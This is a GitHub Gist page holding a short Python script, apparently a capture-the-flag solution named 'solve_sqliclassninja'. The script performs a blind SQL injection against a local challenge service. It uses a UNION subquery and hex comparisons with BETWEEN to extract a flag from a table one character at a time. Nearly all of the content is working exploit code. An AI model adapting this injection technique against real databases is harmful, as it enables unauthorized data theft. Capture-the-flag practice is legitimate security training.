Created
January 10, 2019 12:17
-
-
Save ducnhse130201/4d291ca70a6c6bafa083ae04e00d5260 to your computer and use it in GitHub Desktop.
solve_sqliclassninja
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
def query(q): | |
s = requests.Session() | |
url = 'http://localhost:7002/?query1=' + q | |
r = s.get(url) | |
if r.text.count('Success') == 4: | |
return True | |
else: | |
return False | |
# --> select 1 from dual# | |
table = '' | |
flag = '' | |
while True: | |
for i in range(33,128): | |
a = '0x' + (table + chr(i)).encode('hex') | |
b = '0x' + (table + chr(i+1)).encode('hex') | |
q = '%0a where (select hex (b) from (select * from (select 1 as a)a join (select 2 as b)b union select * from the_awes0me_flag limit 1 offset 1)aa) between hex ('+ a +') and hex ('+ b +');' | |
if query(q): | |
table += chr(i) | |
print table | |
break |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment